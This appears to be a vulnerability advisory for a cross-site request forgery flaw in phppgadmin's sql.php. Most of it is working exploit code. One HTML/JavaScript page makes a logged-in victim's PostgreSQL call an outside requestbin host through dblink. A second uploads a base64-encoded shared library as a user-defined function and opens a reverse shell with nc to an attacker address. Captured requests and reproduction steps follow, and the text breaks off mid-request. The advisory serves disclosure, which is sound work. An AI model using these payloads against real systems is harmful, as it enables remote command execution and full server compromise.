This advisory discloses a CSRF vulnerability that exists in phppgadmin/phppgadmin. The details that was sent to the maintainer can be seen here: phppgadmin%20CSRF%20Vulnerability.pdf
CSRF Introduction
When a web server receives a request, the request should be validated before it initiates any action on the server. Checking the session ID or authorisation cookie is not sufficient, because these cookies are sent automatically by a user’s browser even if the user did not knowingly make the request.
The SQL dashboard area within phppgadmin allows sensitive actions to be performed without validating that the request originated from the application. This could enable an attacker to trick a user into performing these actions unknowingly through a Cross Site Request Forgery (CSRF) attack.
Impact
By leveraging this vulnerability, an attacker might be able to gain unauthorized access to information, stored in database, execute arbitrary commands on the server, compromise the entire application and perform attacks against application users and company’s infrastructure.
Multiple areas within the application is vulnearable to CSRF. One such area is the database.php webpage.
The vulnerability exists due to failure in the database.php webpage not verifying the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary system commands on the server.
The proof of concept below when visited, will send a HTTP POST request to vulnerable application and instructs the backend postgres database to make a HTTP request to an attacker-controlled server by utilising the CREATE command.
Proof of Concept to identify if a phppgadmin instance is vulnerable through Out of Band Technique
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/phppgadmin.local:49161\/phppgadmin\/sql.php", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------317222262731323");
xhr.withCredentials = true;
var body = "-----------------------------317222262731323\r\n" +
"Content-Disposition: form-data; name=\"query\"\r\n" +
"\r\n" +
"CREATE EXTENSION dblink;SELECT
dblink_connect(\'host=mydatahere.b940ab686a17804777c0.d.requestbin.net user=postgres
password=password dbname=dvdrental\');\r\n" +
"-----------------------------317222262731323\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"2097152\r\n" +
"-----------------------------317222262731323\r\n" +
"Content-Disposition: form-data; name=\"script\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------317222262731323\r\n" +
"Content-Disposition: form-data; name=\"execute\"\r\n" +
"\r\n" +
"Execute\r\n" +
"-----------------------------317222262731323\r\n" +
"Content-Disposition: form-data; name=\"server\"\r\n" +
"\r\n" +
"localhost:5432:allow\r\n" +
"-----------------------------317222262731323\r\n" +
"Content-Disposition: form-data; name=\"database\"\r\n" +
"\r\n" +
"postgres\r\n" +
"-----------------------------317222262731323--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
dblink_connect() establishes a connection to a remote PostgreSQL database. This can be used to connect to an attacker controlled server and verify the CSRF attack succeed.
Request that gets sent from the above Proof Of Concept when executed by a victim
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /phppgadmin/sql.php HTTP/1.1
Host: phppgadmin.local:49161
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------317222262731323
Content-Length: 886
Origin: null
Connection: close
Cookie: PPA_ID=npk16gm33btgv8vca9a65di3s1;
webfx-tree-cookie-persistence=wfxt-4+wfxt-6+wfxt-8+wfxt-10+wfxt-12
-----------------------------317222262731323
Content-Disposition: form-data; name="query"
CREATE EXTENSION dblink;SELECT
dblink_connect('host=mydatahere.b940ab686a17804777c0.d.requestbin.net user=postgres
password=password dbname=dvdrental');
-----------------------------317222262731323
Content-Disposition: form-data; name="MAX_FILE_SIZE"
2097152
-----------------------------317222262731323
Content-Disposition: form-data; name="script"; filename=""
Content-Type: application/octet-stream
-----------------------------317222262731323
Content-Disposition: form-data; name="execute"
Execute
-----------------------------317222262731323
Content-Disposition: form-data; name="server"
localhost:5432:allow
-----------------------------317222262731323
Content-Disposition: form-data; name="database"
postgres
-----------------------------317222262731323--
Steps to Reproduce
- Take the HTML proof of concept, make changes to reflect target domain where the phppgadmin instance is hosted
- Login to the vulnerable phppgadmin instance as a privileged user such as ‘postgres’
- Visit the proof of concept file within the same browser to click submit to execute the CSRF attack
Remote Code Execution
Postgres also allows a user to interact with the underlying operating system giving to the database administrator or to a malicious user, potentially a remote attacker through a SQL injection vulnerability, the possibility to execute operating system commands as well as read and write files on the file system.
The following proof of concept can be used to upload a user-defined function (UDF) in PostgresSQL and execute commands on the underlying operating system.
Note: the following proof of concept has been tailored to only execute commands on an Ubuntu 18.04 target system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http:\/\/<IP_ADDRESS>\/phppgadmin\/sql.php", true);
xhr.setRequestHeader("Accept",
"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data;
boundary=---------------------------297112967428312");
xhr.withCredentials = true;
var body = "-----------------------------297112967428312\r\n" +
"Content-Disposition: form-data; name=\"query\"\r\n" +
"\r\n" +
"SELECT lo_create(43213);\r\n" +
"INSERT INTO pg_largeobject (loid, pageno, data) values (43213, 0,
decode(\'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\',
\'base64\'));\r\n" +
"INSERT INTO pg_largeobject (loid, pageno, data) values (43213, 1,
decode(\'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAGAAAAAAAAI
AYAAAAAAAABAAAAAAAAAIcAAAAAAAAADAAAAAAAAABABQAAAAAAAA0AAAAAAAAAsAYAAAAAAAAZAAAAAAAAABAOIAAAAAAA
GwAAAAAAAAAIAAAAAAAAABoAAAAAAAAAGA4gAAAAAAAcAAAAAAAAAAgAAAAAAAAA9f7/bwAAAADwAQAAAAAAAAUAAAAAAAA
AiAMAAAAAAAAGAAAAAAAAADgCAAAAAAAACgAAAAAAAAC1AAAAAAAAAAsAAAAAAAAAGAAAAAAAAAADAAAAAAAAAAAQIAAAAA
AAAgAAAAAAAAAYAAAAAAAAABQAAAAAAAAABwAAAAAAAAAXAAAAAAAAACgFAAAAAAAABwAAAAAAAACABAAAAAAAAAgAAAAAA
AAAqAAAAAAAAAAJAAAAAAAAABgAAAAAAAAA/v//bwAAAABgBAAAAAAAAP///28AAAAAAQAAAAAAAADw//9vAAAAAD4EAAAA
AAAA+f//bwAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\',
\'base64\'));\r\n" +
"INSERT INTO pg_largeobject (loid, pageno, data) values (43213, 2,
decode(\'IA4gAAAAAAAAAAAAAAAAAAAAAAAAAAAAdgUAAAAAAAAgECAAAAAAAEdDQzogKFVidW50dSA3LjMuMC0xNnVidW
50dTMpIDcuMy4wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwABAMgBAAAAAAAAAAAAAAAAAAAAAAAAAwACA
PABAAAAAAAAAAAAAAAAAAAAAAAAAwADADgCAAAAAAAAAAAAAAAAAAAAAAAAAwAEAIgDAAAAAAAAAAAAAAAAAAAAAAAAAwAF
AD4EAAAAAAAAAAAAAAAAAAAAAAAAAwAGAGAEAAAAAAAAAAAAAAAAAAAAAAAAAwAHAIAEAAAAAAAAAAAAAAAAAAAAAAAAAwA
IACgFAAAAAAAAAAAAAAAAAAAAAAAAAwAJAEAFAAAAAAAAAAAAAAAAAAAAAAAAAwAKAGAFAAAAAAAAAAAAAAAAAAAAAAAAAw
ALAIAFAAAAAAAAAAAAAAAAAAAAAAAAAwAMAJAFAAAAAAAAAAAAAAAAAAAAAAAAAwANALAGAAAAAAAAAAAAAAAAAAAAAAAAA
wAOAMAGAAAAAAAAAAAAAAAAAAAAAAAAAwAPAOAGAAAAAAAAAAAAAAAAAAAAAAAAAwAQABgHAAAAAAAAAAAAAAAAAAAAAAAA
AwARABAOIAAAAAAAAAAAAAAAAAAAAAAAAwASABgOIAAAAAAAAAAAAAAAAAAAAAAAAwATACAOIAAAAAAAAAAAAAAAAAAAAAA
AAwAUAOAPIAAAAAAAAAAAAAAAAAAAAAAAAwAVAAAQIAAAAAAAAAAAAAAAAAAAAAAAAwAWACAQIAAAAAAAAAAAAAAAAAAAAA
AAAwAXACgQIAAAAAAAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAAAMA
AAAAgAMAJAFAAAAAAAAAAAAAAAAAAAOAAAAAgAMANAFAAAAAAAAAAAAAAAAAAAhAAAAAgAMACAGAAAAAAAAAAAAAAAAAAA3
AAAAAQAXACgQIAAAAAAAAQAAAAAAAABGAAAAAQASABgOIAAAAAAAAAAAAAAAAABtAAAAAgAMAGAGAAAAAAAAAAAAAAAAAAB
5AAAAAQARABAOIAAAAAAAAAAAAAAAAACYAAAABADx/wAAAAAAAAAAAAAAAAAAAACiAAAAAQAOAMAGAAAAAAAAHAAAAAAAAA
C1AAAAAQAOANwGAAAAAAAABAAAAAAAAAABAAAABADx/wAAAAAAAAAAAAAAAAAAAADDAAAAAQAQANAHAAAAAAAAAAAAAAAAA
AAAAAAABADx/wAAAAAAAAAAAAAAAAAAAADRAAAAAQAWACAQIAAAAAAAAAAAAAAAAADeAAAAAQATACAOIAAAAAAAAAAAAAAA
AADnAAAAAAAPAOAGAAAAAAAAAAAAAAAAAAD6AAAAAQAWACgQIAAAAAAAAAAAAAAAAAAGAQAAAQAVAAAQIAAAAAAAAAAAAAA
AAAAcAQAAEgAMAGoGAAAAAAAADQAAAAAAAAAqAQAAIAAAAAAAAAAAAAAAAAAAAAAAAABGAQAAEAAWACgQIAAAAAAAAAAAAA
AAAABNAQAAEgANALAGAAAAAAAAAAAAAAAAAABTAQAAEgAAAAAAAAAAAAAAAAAAAAAAAABnAQAAIAAAAAAAAAAAAAAAAAAAA
AAAAACQAQAAEgAMAIQGAAAAAAAAKgAAAAAAAAB2AQAAEAAXADAQIAAAAAAAAAAAAAAAAAB7AQAAEAAXACgQIAAAAAAAAAAA
AAAAAACHAQAAEgAMAHcGAAAAAAAADQAAAAAAAACYAQAAIAAAAAAAAAAAAAAAAAAAAAAAAACyAQAAIgAAAAAAAAAAAAAAAAA
AAAAAAADOAQAAEgAJAEAFAAAAAAAAAAAAAAAAAAAAY3J0c3R1ZmYuYwBkZXJlZ2lzdGVyX3RtX2Nsb25lcwBfX2RvX2dsb2
JhbF9kdG9yc19hdXgAY29tcGxldGVkLjc2OTYAX19kb19nbG9iYWxfZHRvcnNfYXV4X2ZpbmlfYXJyYXlfZW50cnkAZnJhb
WVfZHVtbXkAX19mcmFtZV9kdW1teV9pbml0X2FycmF5X2VudHJ5AHBnX2V4ZWMuYwBQZ19tYWdpY19kYXRhLjQ3NzkAbXlf
ZmluZm8uNDc4OABfX0ZSQU1FX0VORF9fAF9fZHNvX2hhbmRsZQBfRFlOQU1JQwBfX0dOVV9FSF9GUkFNRV9IRFIAX19UTUN
fRU5EX18AX0dMT0JBTF9PRkZTRVRfVEFCTEVfAFBnX21hZ2ljX2Z1bmMAX0lUTV9kZXJlZ2lzdGVyVE1DbG9uZVRhYmxlAF
9lZGF0YQBfZmluaQBzeXN0ZW1AQEdMSUJDXzIuMi41AF9fZ21vbl9zdGFydF9fAF9lbmQAX19ic3Nfc3RhcnQAcGdfZmluZ
m9fcGdfZXhlYwBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplQEBHTElCQ18yLjIuNQBfaW5pdAAA
LnN5bXRhYgAuc3RydGFiAC5zaHN0cnRhYgAubm90ZS5nbnUuYnVpbGQtaWQALmdudS5oYXNoAC5keW5zeW0ALmR5bnN0cgA
uZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbGEuZHluAC5yZWxhLnBsdAAuaW5pdAAucGx0Lmc=\',
\'base64\'));\r\n" +
"INSERT INTO pg_largeobject (loid, pageno, data) values (43213, 3,
decode(\'b3QALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWVfaGRyAC5laF9mcmFtZQAuaW5pdF9hcnJheQAuZmluaV
9hcnJheQAuZHluYW1pYwAuZ290LnBsdAAuZGF0YQAuYnNzAC5jb21tZW50AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAAAABwAAAAIAAAAAAAAAyAEAAAAAAADIAQAAAAAA
ACQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAALgAAAPb//28CAAAAAAAAAPABAAAAAAAA8AEAAAAAAABEAAAAAAA
AAAMAAAAAAAAACAAAAAAAAAAAAAAAAAAAADgAAAALAAAAAgAAAAAAAAA4AgAAAAAAADgCAAAAAAAAUAEAAAAAAAAEAAAAAQ
AAAAgAAAAAAAAAGAAAAAAAAABAAAAAAwAAAAIAAAAAAAAAiAMAAAAAAACIAwAAAAAAALUAAAAAAAAAAAAAAAAAAAABAAAAA
AAAAAAAAAAAAAAASAAAAP///28CAAAAAAAAAD4EAAAAAAAAPgQAAAAAAAAcAAAAAAAAAAMAAAAAAAAAAgAAAAAAAAACAAAA
AAAAAFUAAAD+//9vAgAAAAAAAABgBAAAAAAAAGAEAAAAAAAAIAAAAAAAAAAEAAAAAQAAAAgAAAAAAAAAAAAAAAAAAABkAAA
ABAAAAAIAAAAAAAAAgAQAAAAAAACABAAAAAAAAKgAAAAAAAAAAwAAAAAAAAAIAAAAAAAAABgAAAAAAAAAbgAAAAQAAABCAA
AAAAAAACgFAAAAAAAAKAUAAAAAAAAYAAAAAAAAAAMAAAAVAAAACAAAAAAAAAAYAAAAAAAAAHgAAAABAAAABgAAAAAAAABAB
QAAAAAAAEAFAAAAAAAAFwAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABzAAAAAQAAAAYAAAAAAAAAYAUAAAAAAABg
BQAAAAAAACAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAAfgAAAAEAAAAGAAAAAAAAAIAFAAAAAAAAgAUAAAAAAAA
IAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAIcAAAABAAAABgAAAAAAAACQBQAAAAAAAJAFAAAAAAAAHgEAAAAAAA
AAAAAAAAAAABAAAAAAAAAAAAAAAAAAAACNAAAAAQAAAAYAAAAAAAAAsAYAAAAAAACwBgAAAAAAAAkAAAAAAAAAAAAAAAAAA
AAEAAAAAAAAAAAAAAAAAAAAkwAAAAEAAAACAAAAAAAAAMAGAAAAAAAAwAYAAAAAAAAgAAAAAAAAAAAAAAAAAAAAEAAAAAAA
AAAAAAAAAAAAAJsAAAABAAAAAgAAAAAAAADgBgAAAAAAAOAGAAAAAAAANAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAA
AAACpAAAAAQAAAAIAAAAAAAAAGAcAAAAAAAAYBwAAAAAAALwAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAAswAAAA
4AAAADAAAAAAAAABAOIAAAAAAAEA4AAAAAAAAIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAL8AAAAPAAAAAwAAA
AAAAAAYDiAAAAAAABgOAAAAAAAACAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADLAAAABgAAAAMAAAAAAAAAIA4g
AAAAAAAgDgAAAAAAAMABAAAAAAAABAAAAAAAAAAIAAAAAAAAABAAAAAAAAAAggAAAAEAAAADAAAAAAAAAOAPIAAAAAAA4A8
AAAAAAAAgAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAANQAAAABAAAAAwAAAAAAAAAAECAAAAAAAAAQAAAAAAAAIA
AAAAAAAAAAAAAAAAAAAAgAAAAAAAAACAAAAAAAAADdAAAAAQAAAAMAAAAAAAAAIBAgAAAAAAAgEAAAAAAAAAgAAAAAAAAAA
AAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA4wAAAAgAAAADAAAAAAAAACgQIAAAAAAAKBAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAOgAAAABAAAAMAAAAAAAAAAAAAAAAAAAACgQAAAAAAAAJAAAAAAAAAAAAAAAAAAAAAEAAAAAAAA
AAQAAAAAAAAABAAAAAgAAAAAAAAAAAAAAAAAAAAAAAABQEAAAAAAAAFgFAAAAAAAAGgAAACwAAAAIAAAAAAAAABgAAAAAAA
AACQAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAqBUAAAAAAADUAQAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAABEAAAADA
AAAAAAAAAAAAAAAAAAAAAAAAHwXAAAAAAAA8QAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=\',
\'base64\'));\r\n" +
"SELECT lo_export(43213, \'/tmp/pg_exec.so\');\r\n" +
"CREATE FUNCTION sys(cstring) RETURNS int AS \'/tmp/pg_exec.so\', \'pg_exec\'
LANGUAGE \'c\' STRICT;\r\n" +
"SELECT sys(\'mknod /tmp/backpipe p\');\r\n" +
"SELECT sys(\'/bin/sh 0\x3c/tmp/backpipe | nc <IP_ADDRESS> 80
1\x3e/tmp/backpipe\');\r\n" +
"-----------------------------297112967428312\r\n" +
"Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
"\r\n" +
"2097152\r\n" +
"-----------------------------297112967428312\r\n" +
"Content-Disposition: form-data; name=\"script\"; filename=\"\"\r\n" +
"Content-Type: application/octet-stream\r\n" +
"\r\n" +
"\r\n" +
"-----------------------------297112967428312\r\n" +
"Content-Disposition: form-data; name=\"execute\"\r\n" +
"\r\n" +
"Execute\r\n" +
"-----------------------------297112967428312\r\n" +
"Content-Disposition: form-data; name=\"server\"\r\n" +
"\r\n" +
"localhost:5432:allow\r\n" +
"-----------------------------297112967428312\r\n" +
"Content-Disposition: form-data; name=\"database\"\r\n" +
"\r\n" +
"postgres\r\n" +
"-----------------------------297112967428312--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
CSRF 2
The following request was also found to be vulnerable to CSRF.
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /phpad/sql.php HTTP/1.1
Host: <IP_ADDRESS>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
